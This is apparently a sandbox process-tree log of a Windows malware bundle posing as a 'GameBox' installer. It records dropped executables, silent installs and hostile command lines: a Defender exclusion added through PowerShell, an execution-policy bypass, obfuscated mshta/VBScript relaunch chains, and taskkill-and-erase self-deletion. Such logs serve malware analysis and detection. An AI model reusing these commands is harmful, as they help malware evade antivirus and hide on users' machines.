C:\Users\Admin\AppData\Local\Temp\is-FI8EH.tmp\{app}\vdi_compiler.exe"C:\Users\Admin\AppData\Local\Temp\is-FI8EH.tmp\{app}\vdi_compiler"9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-FI8EH.tmp\{app}\vdi_compiler.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 411⤵
- Runs ping.exe
-
-
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AU7AE.tmp\WEATHER Manager.tmp"C:\Users\Admin\AppData\Local\Temp\is-AU7AE.tmp\WEATHER Manager.tmp" /SL5="$103B6,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8GNAC.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-8GNAC.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=7157⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-8GNAC.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-8GNAC.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579448 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"8⤵
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-N5JLK.tmp\VPN.tmp"C:\Users\Admin\AppData\Local\Temp\is-N5JLK.tmp\VPN.tmp" /SL5="$103D0,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DLVK2.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-DLVK2.tmp\Setup.exe" /silent /subid=7207⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7P9VF.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-7P9VF.tmp\Setup.tmp" /SL5="$80174,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-DLVK2.tmp\Setup.exe" /silent /subid=7208⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "9⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090110⤵
-
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall9⤵
-
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install9⤵
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"5⤵
-
C:\Users\Admin\Documents\QkOIRC5iyddtXDQwQYQdUiNQ.exe"C:\Users\Admin\Documents\QkOIRC5iyddtXDQwQYQdUiNQ.exe"6⤵
-
-
C:\Users\Admin\Documents\A1lgZMyIEJfMum22QuKmQ6p8.exe"C:\Users\Admin\Documents\A1lgZMyIEJfMum22QuKmQ6p8.exe"6⤵
-
C:\Users\Admin\Documents\A1lgZMyIEJfMum22QuKmQ6p8.exeC:\Users\Admin\Documents\A1lgZMyIEJfMum22QuKmQ6p8.exe7⤵
-
-
-
C:\Users\Admin\Documents\4BL4rDajLNOXoNJ2ndui72Mj.exe"C:\Users\Admin\Documents\4BL4rDajLNOXoNJ2ndui72Mj.exe"6⤵
-
-
C:\Users\Admin\Documents\1ilvGMQN2LJ_KV1QtkmUXNe9.exe"C:\Users\Admin\Documents\1ilvGMQN2LJ_KV1QtkmUXNe9.exe"6⤵
-
C:\Users\Admin\Documents\1ilvGMQN2LJ_KV1QtkmUXNe9.exe"C:\Users\Admin\Documents\1ilvGMQN2LJ_KV1QtkmUXNe9.exe"7⤵
-
-
-
C:\Users\Admin\Documents\3NyvfFXhmQ_650ILO6QlfxcT.exe"C:\Users\Admin\Documents\3NyvfFXhmQ_650ILO6QlfxcT.exe"6⤵
-
C:\Users\Admin\Documents\3NyvfFXhmQ_650ILO6QlfxcT.exe"C:\Users\Admin\Documents\3NyvfFXhmQ_650ILO6QlfxcT.exe"7⤵
-
-
-
C:\Users\Admin\Documents\vbojd2EtACBG49hUdMj_wtiB.exe"C:\Users\Admin\Documents\vbojd2EtACBG49hUdMj_wtiB.exe"6⤵
-
C:\Users\Admin\Documents\vbojd2EtACBG49hUdMj_wtiB.exeC:\Users\Admin\Documents\vbojd2EtACBG49hUdMj_wtiB.exe7⤵
-
-
-
C:\Users\Admin\Documents\55bAiRHb6W6sX9Rc2_gm7cM9.exe"C:\Users\Admin\Documents\55bAiRHb6W6sX9Rc2_gm7cM9.exe"6⤵
-
C:\Users\Admin\Documents\55bAiRHb6W6sX9Rc2_gm7cM9.exe"C:\Users\Admin\Documents\55bAiRHb6W6sX9Rc2_gm7cM9.exe"7⤵
-
-
-
C:\Users\Admin\Documents\QeiC98_UsbcLxdooSP6nLGeA.exe"C:\Users\Admin\Documents\QeiC98_UsbcLxdooSP6nLGeA.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "QeiC98_UsbcLxdooSP6nLGeA.exe" /f & erase "C:\Users\Admin\Documents\QeiC98_UsbcLxdooSP6nLGeA.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "QeiC98_UsbcLxdooSP6nLGeA.exe" /f8⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\80Rg0XE1Tf1kIewgw2w6Q5GN.exe"C:\Users\Admin\Documents\80Rg0XE1Tf1kIewgw2w6Q5GN.exe"6⤵
-
-
C:\Users\Admin\Documents\xIB3H3lj97bjmr2BTIy6H8ok.exe"C:\Users\Admin\Documents\xIB3H3lj97bjmr2BTIy6H8ok.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BE0K5.tmp\xIB3H3lj97bjmr2BTIy6H8ok.tmp"C:\Users\Admin\AppData\Local\Temp\is-BE0K5.tmp\xIB3H3lj97bjmr2BTIy6H8ok.tmp" /SL5="$303CA,138429,56832,C:\Users\Admin\Documents\xIB3H3lj97bjmr2BTIy6H8ok.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-H0P69.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-H0P69.tmp\Setup.exe" /Verysilent8⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe"C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" /qn CAMPAIGN="710"9⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=710 AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579448 /qn CAMPAIGN=""710"" " CAMPAIGN="710"10⤵
-
-
-
-
-
-
C:\Users\Admin\Documents\DLQyThq2qCyHmzvahxp2mae_.exe"C:\Users\Admin\Documents\DLQyThq2qCyHmzvahxp2mae_.exe"6⤵
-
-
C:\Users\Admin\Documents\Q98PCLatOnYM6Harix5jg7y9.exe"C:\Users\Admin\Documents\Q98PCLatOnYM6Harix5jg7y9.exe"6⤵
-
-
C:\Users\Admin\Documents\bd7xOUsRy9cBs7TXN3dfAfOL.exe"C:\Users\Admin\Documents\bd7xOUsRy9cBs7TXN3dfAfOL.exe"6⤵
-
-
C:\Users\Admin\Documents\VKheF3MS7OXxytuOGtXKRxyg.exe"C:\Users\Admin\Documents\VKheF3MS7OXxytuOGtXKRxyg.exe"6⤵
-
-
C:\Users\Admin\Documents\NKYlAEppjmtt6A2ZVz3LdRoT.exe"C:\Users\Admin\Documents\NKYlAEppjmtt6A2ZVz3LdRoT.exe"6⤵
-
-
C:\Users\Admin\Documents\CQcdpfSdgxRJ0SUgtoLTAZif.exe"C:\Users\Admin\Documents\CQcdpfSdgxRJ0SUgtoLTAZif.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\7270910.exe"C:\Users\Admin\AppData\Roaming\7270910.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\4706444.exe"C:\Users\Admin\AppData\Roaming\4706444.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\5430501.exe"C:\Users\Admin\AppData\Roaming\5430501.exe"7⤵
-
-
C:\Users\Admin\AppData\Roaming\4173744.exe"C:\Users\Admin\AppData\Roaming\4173744.exe"7⤵
-
-
-
C:\Users\Admin\Documents\SgeGOelYSZid2nXJuSE89_4I.exe"C:\Users\Admin\Documents\SgeGOelYSZid2nXJuSE89_4I.exe"6⤵
-
-
C:\Users\Admin\Documents\uQBoUzqpbXAFWcs3m4vJYw9k.exe"C:\Users\Admin\Documents\uQBoUzqpbXAFWcs3m4vJYw9k.exe"6⤵
-
C:\Users\Admin\Documents\uQBoUzqpbXAFWcs3m4vJYw9k.exe"C:\Users\Admin\Documents\uQBoUzqpbXAFWcs3m4vJYw9k.exe" -q7⤵
-
-
-
C:\Users\Admin\Documents\J97dKuf4EroAcgtov3AzjPTH.exe"C:\Users\Admin\Documents\J97dKuf4EroAcgtov3AzjPTH.exe"6⤵
-
-
C:\Users\Admin\Documents\PBk3bcViYwRguHnz38iP22f_.exe"C:\Users\Admin\Documents\PBk3bcViYwRguHnz38iP22f_.exe"6⤵
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\PBK3BC~1.DLL,s C:\Users\Admin\DOCUME~1\PBK3BC~1.EXE7⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\PBK3BC~1.DLL,YEEf8⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\DOCUME~1\PBK3BC~1.DLL9⤵
-
-
C:\Windows\SysWOW64\RUNDLL32.EXEC:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\PBK3BC~1.DLL,lDtYVGI39⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 3180410⤵
-
C:\Windows\system32\ctfmon.exectfmon.exe11⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmpF778.tmp.ps1"9⤵
-
-
-
-
-
C:\Users\Admin\Documents\IUwpJt2m1CEm8oemnllV3DMN.exe"C:\Users\Admin\Documents\IUwpJt2m1CEm8oemnllV3DMN.exe"6⤵
-
-
C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe"C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt: ClOSe( creATEoBJEcT ( "WscRIpT.sHEll" ). RUN ( "Cmd /Q /C tYPe ""C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 , TRUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "" =="" for %W iN ( "C:\Users\Admin\Documents\MG8OuRnLyQZqjQKA7Yg7jzhW.exe" ) do taskkill -IM "%~nXW" -f8⤵
-
C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXeWO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu99⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbSCRipt: ClOSe( creATEoBJEcT ( "WscRIpT.sHEll" ). RUN ( "Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 , TRUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 " =="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" ) do taskkill -IM "%~nXW" -f11⤵
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE10⤵
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -IM "MG8OuRnLyQZqjQKA7Yg7jzhW.exe" -f9⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\79mOMzkYtNaleMstJpi_1NTM.exe"C:\Users\Admin\Documents\79mOMzkYtNaleMstJpi_1NTM.exe"6⤵
-
-
C:\Users\Admin\Documents\WwMTyAYsPeHLoILFYhs0rfbp.exe"C:\Users\Admin\Documents\WwMTyAYsPeHLoILFYhs0rfbp.exe"6⤵
-
-
C:\Users\Admin\Documents\N15OqjEO8N7l_vB6MfY7r8t3.exe"C:\Users\Admin\Documents\N15OqjEO8N7l_vB6MfY7r8t3.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "N15OqjEO8N7l_vB6MfY7r8t3.exe" /f & erase "C:\Users\Admin\Documents\N15OqjEO8N7l_vB6MfY7r8t3.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "N15OqjEO8N7l_vB6MfY7r8t3.exe" /f8⤵
- Kills process with taskkill
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-O2765.tmp\MediaBurner2.tmp"C:\Users\Admin\AppData\Local\Temp\is-O2765.tmp\MediaBurner2.tmp" /SL5="$20202,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8RGAT.tmp\ultradumnibour.exe"C:\Users\Admin\AppData\Local\Temp\is-8RGAT.tmp\ultradumnibour.exe" /S /UID=burnerch27⤵
-
C:\Program Files\Microsoft Office 15\WMIFSSNLBW\ultramediaburner.exe"C:\Program Files\Microsoft Office 15\WMIFSSNLBW\ultramediaburner.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-AL89Q.tmp\ultramediaburner.tmp"C:\Users\Admin\AppData\Local\Temp\is-AL89Q.tmp\ultramediaburner.tmp" /SL5="$105BE,281924,62464,C:\Program Files\Microsoft Office 15\WMIFSSNLBW\ultramediaburner.exe" /VERYSILENT9⤵
-
C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu10⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\73-62eaf-6a7-70eb9-f222f6ad65c29\Cyxozhiloro.exe"C:\Users\Admin\AppData\Local\Temp\73-62eaf-6a7-70eb9-f222f6ad65c29\Cyxozhiloro.exe"8⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 22489⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\59-7499a-e41-ef295-3ecda69fd429b\Kogavulifae.exe"C:\Users\Admin\AppData\Local\Temp\59-7499a-e41-ef295-3ecda69fd429b\Kogavulifae.exe"8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hpobepa1.fqz\GcleanerEU.exe /eufive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\hpobepa1.fqz\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\hpobepa1.fqz\GcleanerEU.exe /eufive10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hpobepa1.fqz\GcleanerEU.exe" & exit11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f12⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kiu4xpab.ftd\installer.exe /qn CAMPAIGN="654" & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\kiu4xpab.ftd\installer.exeC:\Users\Admin\AppData\Local\Temp\kiu4xpab.ftd\installer.exe /qn CAMPAIGN="654"10⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xgvstixv.tuk\anyname.exe & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\xgvstixv.tuk\anyname.exeC:\Users\Admin\AppData\Local\Temp\xgvstixv.tuk\anyname.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\xgvstixv.tuk\anyname.exe"C:\Users\Admin\AppData\Local\Temp\xgvstixv.tuk\anyname.exe" -q11⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ro4r3kx3.fl3\gcleaner.exe /mixfive & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\ro4r3kx3.fl3\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\ro4r3kx3.fl3\gcleaner.exe /mixfive10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ro4r3kx3.fl3\gcleaner.exe" & exit11⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f12⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sasyfylh.h2d\autosubplayer.exe /S & exit9⤵
-
-
-
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"5⤵
-
C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q6⤵
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"5⤵
-
C:\Users\Admin\AppData\Roaming\1015276.exe"C:\Users\Admin\AppData\Roaming\1015276.exe"6⤵
-
-
C:\Users\Admin\AppData\Roaming\5307415.exe"C:\Users\Admin\AppData\Roaming\5307415.exe"6⤵
-
-
C:\Users\Admin\AppData\Roaming\8125024.exe"C:\Users\Admin\AppData\Roaming\8125024.exe"6⤵
-
-
C:\Users\Admin\AppData\Roaming\4836499.exe"C:\Users\Admin\AppData\Roaming\4836499.exe"6⤵
-
-
C:\Users\Admin\AppData\Roaming\7985871.exe"C:\Users\Admin\AppData\Roaming\7985871.exe"6⤵
-
-
-
C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet5⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579448 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"6⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\ProgramData\qwsauc\hofv.exeC:\ProgramData\qwsauc\hofv.exe start1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FD50D47B27BE256FAB9DCE0F32F50976 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 86CE6924E931E69130E4D6C9E0B60464 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 77E19273A1B62D29AA30EF78190845852⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 28F007B905639EE90CAC41681CA4579F C2⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default3⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"4⤵
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exeC:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ffd534fdec0,0x7ffd534fded0,0x7ffd534fdee05⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=1704 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1656 /prefetch:25⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --mojo-platform-channel-handle=2128 /prefetch:85⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2516 /prefetch:15⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2480 /prefetch:15⤵
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1640,5512903506586108665,82402546860442223,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8356_505146638" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3192 /prefetch:25⤵
-
-
